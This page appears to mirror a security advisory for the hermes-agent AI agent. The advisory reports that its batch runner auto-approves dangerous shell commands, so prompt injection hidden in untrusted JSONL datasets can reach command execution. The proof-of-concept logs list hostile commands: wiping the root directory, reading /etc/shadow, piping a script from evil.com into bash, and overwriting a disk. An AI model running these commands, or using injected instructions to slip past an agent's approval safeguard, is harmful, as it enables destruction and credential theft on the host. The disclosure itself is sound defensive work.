hermes - 💡(How to fix) Fix [Security] Dangerous Command Approval Bypass in `batch_runner.py` via Insecure Default Fallback

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…

The dangerous command approval system (check_all_command_guards() in tools/approval.py) auto-approves all flagged dangerous commands when invoked from batch_runner.py because the batch runner does not set any of the interactive environment variables (HERMES_INTERACTIVE, HERMES_GATEWAY_SESSION, HERMES_EXEC_ASK). This allows prompt injection payloads embedded in untrusted JSONL datasets to achieve arbitrary command execution on the host machine without any user approval.

Root Cause

The dangerous command approval system (check_all_command_guards() in tools/approval.py) auto-approves all flagged dangerous commands when invoked from batch_runner.py because the batch runner does not set any of the interactive environment variables (HERMES_INTERACTIVE, HERMES_GATEWAY_SESSION, HERMES_EXEC_ASK). This allows prompt injection payloads embedded in untrusted JSONL datasets to achieve arbitrary command execution on the host machine without any user approval.

Fix Action

Fix / Workaround

  • Ecosystem: pip
  • Package name: hermes-agent
  • Affected versions: <= v2026.4.16
  • Patched versions: <None>

Code Example

is_cli = os.getenv("HERMES_INTERACTIVE")        # Line 736
is_gateway = os.getenv("HERMES_GATEWAY_SESSION") # Line 737
is_ask = os.getenv("HERMES_EXEC_ASK")            # Line 738

if not is_cli and not is_gateway and not is_ask:  # Line 742
    if os.getenv("HERMES_CRON_SESSION"):          # Line 744
        if _get_cron_approval_mode() == "deny":
            return {"approved": False, ...}
    return {"approved": True, "message": None}    # Line 759INSECURE DEFAULT

---

batch_runner.py_process_single_prompt()AIAgent.run_conversation()
terminal_tool() [line 1528]_check_all_guards() [line 144]
check_all_command_guards() [line 742]return {"approved": True}

---

cd hermes-agent
.venv/bin/python poc_approval_bypass.py

---

echo "" | .venv/bin/python control-cli_approval.py

---

.venv/bin/python batch_runner.py \
    --dataset_file=malicious_dataset.jsonl \
    --batch_size=1 \
    --run_name=poc_run \
    --model=<model> \
    --api_key=<key>

---

======================================================================
PoC: Batch Runner Approval Bypass (Deterministic)
======================================================================

Environment state (batch_runner.py defaults):
  HERMES_INTERACTIVE   = <unset>
  HERMES_GATEWAY_SESSION = <unset>
  HERMES_EXEC_ASK      = <unset>
  HERMES_CRON_SESSION   = <unset>

  [AUTO-APPROVED] rm -rf /                           (dangerous=True, pattern=delete in root path)
  [AUTO-APPROVED] bash -c 'cat /etc/shadow'          (dangerous=True, pattern=shell command via -c/-lc flag)
  [AUTO-APPROVED] python3 -c 'import os; os.system(  (dangerous=True, pattern=script execution via -e/-c flag)
  [AUTO-APPROVED] curl http://evil.com/shell.sh | ba (dangerous=True, pattern=pipe remote content to shell)
  [AUTO-APPROVED] dd if=/dev/zero of=/dev/sda bs=1M  (dangerous=True, pattern=disk copy)

[EXPLOIT SUCCESS] All dangerous commands were AUTO-APPROVED.

---

======================================================================
Control: CLI Mode Approval (HERMES_INTERACTIVE=1)
======================================================================

  [BLOCKED/PROMPTED] rm -rf /                           (dangerous=True)
  [BLOCKED/PROMPTED] bash -c 'cat /etc/shadow'          (dangerous=True)
  [BLOCKED/PROMPTED] python3 -c 'import os; os.system(  (dangerous=True)
  [BLOCKED/PROMPTED] curl http://evil.com/shell.sh | ba (dangerous=True)
  [BLOCKED/PROMPTED] dd if=/dev/zero of=/dev/sda bs=1M  (dangerous=True)

[CONTROL SUCCESS] Dangerous commands triggered the approval prompt.
RAW_BUFFERClick to expand / collapse

Advisory Details

Title: Dangerous Command Approval Bypass in batch_runner.py via Insecure Default Fallback

Description:

Summary

The dangerous command approval system (check_all_command_guards() in tools/approval.py) auto-approves all flagged dangerous commands when invoked from batch_runner.py because the batch runner does not set any of the interactive environment variables (HERMES_INTERACTIVE, HERMES_GATEWAY_SESSION, HERMES_EXEC_ASK). This allows prompt injection payloads embedded in untrusted JSONL datasets to achieve arbitrary command execution on the host machine without any user approval.

Details

The check_all_command_guards() function in tools/approval.py (lines 736–759) determines whether to enforce approval prompts based on three environment variables:

is_cli = os.getenv("HERMES_INTERACTIVE")        # Line 736
is_gateway = os.getenv("HERMES_GATEWAY_SESSION") # Line 737
is_ask = os.getenv("HERMES_EXEC_ASK")            # Line 738

if not is_cli and not is_gateway and not is_ask:  # Line 742
    if os.getenv("HERMES_CRON_SESSION"):          # Line 744
        if _get_cron_approval_mode() == "deny":
            return {"approved": False, ...}
    return {"approved": True, "message": None}    # Line 759 — INSECURE DEFAULT

When batch_runner.py processes dataset prompts, it creates AIAgent instances (line 314) without setting any of these environment variables. The approval check falls through to line 759 and returns {"approved": True} for every command, regardless of how dangerous it is.

The root cause is a "deny-all-others" logic inversion — the code treats unknown execution contexts as implicitly safe instead of implicitly dangerous. The prior fix (commit 762f7e97) only addressed HERMES_CRON_SESSION using a narrow-fix pattern, leaving batch_runner.py completely unprotected.

Call chain:

batch_runner.py → _process_single_prompt() → AIAgent.run_conversation()
→ terminal_tool() [line 1528] → _check_all_guards() [line 144]
→ check_all_command_guards() [line 742] → return {"approved": True}

PoC

Prerequisites

  • A working Hermes Agent checkout with dependencies installed (.venv/)
  • No special configuration needed — all defaults are sufficient
  • The vulnerability exists in the default local terminal environment

Reproduction Steps

  1. Download the deterministic exploit script from: poc_approval_bypass.py

  2. Place it in the project directory and run:

cd hermes-agent
.venv/bin/python poc_approval_bypass.py

This script simulates the batch_runner.py environment (all interactive env vars unset) and calls check_all_command_guards() with five different dangerous commands (rm -rf /, bash -c '...', curl | bash, dd if=..., python3 -c '...'). All five are auto-approved.

  1. To verify the security mechanism works correctly in CLI mode, download the control script: control-cli_approval.py
echo "" | .venv/bin/python control-cli_approval.py

This runs the same commands with HERMES_INTERACTIVE=1 set. All five commands trigger the approval prompt and are denied (times out to deny).

  1. For the full end-to-end attack via batch_runner.py, create a malicious dataset: malicious_dataset.jsonl
.venv/bin/python batch_runner.py \
    --dataset_file=malicious_dataset.jsonl \
    --batch_size=1 \
    --run_name=poc_run \
    --model=<model> \
    --api_key=<key>

Log of Evidence

Exploit output (all dangerous commands auto-approved):

======================================================================
PoC: Batch Runner Approval Bypass (Deterministic)
======================================================================

Environment state (batch_runner.py defaults):
  HERMES_INTERACTIVE   = <unset>
  HERMES_GATEWAY_SESSION = <unset>
  HERMES_EXEC_ASK      = <unset>
  HERMES_CRON_SESSION   = <unset>

  [AUTO-APPROVED] rm -rf /                           (dangerous=True, pattern=delete in root path)
  [AUTO-APPROVED] bash -c 'cat /etc/shadow'          (dangerous=True, pattern=shell command via -c/-lc flag)
  [AUTO-APPROVED] python3 -c 'import os; os.system(  (dangerous=True, pattern=script execution via -e/-c flag)
  [AUTO-APPROVED] curl http://evil.com/shell.sh | ba (dangerous=True, pattern=pipe remote content to shell)
  [AUTO-APPROVED] dd if=/dev/zero of=/dev/sda bs=1M  (dangerous=True, pattern=disk copy)

[EXPLOIT SUCCESS] All dangerous commands were AUTO-APPROVED.

Control output (all dangerous commands blocked):

======================================================================
Control: CLI Mode Approval (HERMES_INTERACTIVE=1)
======================================================================

  [BLOCKED/PROMPTED] rm -rf /                           (dangerous=True)
  [BLOCKED/PROMPTED] bash -c 'cat /etc/shadow'          (dangerous=True)
  [BLOCKED/PROMPTED] python3 -c 'import os; os.system(  (dangerous=True)
  [BLOCKED/PROMPTED] curl http://evil.com/shell.sh | ba (dangerous=True)
  [BLOCKED/PROMPTED] dd if=/dev/zero of=/dev/sda bs=1M  (dangerous=True)

[CONTROL SUCCESS] Dangerous commands triggered the approval prompt.

Impact

This is an authorization bypass that leads to arbitrary command execution (RCE) on the host running batch_runner.py. The dangerous command approval system — designed to protect users from destructive operations — is completely ineffective in the batch processing context.

An attacker who can supply or tamper with a JSONL dataset processed by batch_runner.py can embed prompt injection payloads that instruct the LLM to execute arbitrary shell commands. These commands bypass all safety checks (regex pattern matching, Tirith security scanning) because the approval function short-circuits before reaching those checks.

Concrete impact includes:

  • Credential theft: Reading ~/.hermes/.env (contains API keys), ~/.ssh/id_rsa, /etc/shadow
  • Reverse shell: Establishing persistent backdoor access to the server
  • Data exfiltration: Sending sensitive files to attacker-controlled servers
  • Supply chain attacks: Poisoning shared datasets on HuggingFace Hub to compromise any operator who processes them

Affected products

  • Ecosystem: pip
  • Package name: hermes-agent
  • Affected versions: <= v2026.4.16
  • Patched versions: <None>

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Weaknesses

  • CWE: CWE-862: Missing Authorization

Occurrences

PermalinkDescription
https://github.com/NousResearch/hermes-agent/blob/main/tools/approval.py#L736-L759The insecure default fallback in check_all_command_guards(): when HERMES_INTERACTIVE, HERMES_GATEWAY_SESSION, and HERMES_EXEC_ASK are all unset, returns {"approved": True} unconditionally at line 759.
https://github.com/NousResearch/hermes-agent/blob/main/tools/approval.py#L628-L645The same insecure default pattern in the legacy check_dangerous_command() function (lines 631–645).
https://github.com/NousResearch/hermes-agent/blob/main/batch_runner.py#L314-L334AIAgent initialization in _process_single_prompt() — creates agents with full tool access but does not set any interactive environment variables.
https://github.com/NousResearch/hermes-agent/blob/main/tools/terminal_tool.py#L1527-L1528The terminal_tool() entry point that delegates to _check_all_guards() before executing commands.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING

hermes - 💡(How to fix) Fix [Security] Dangerous Command Approval Bypass in `batch_runner.py` via Insecure Default Fallback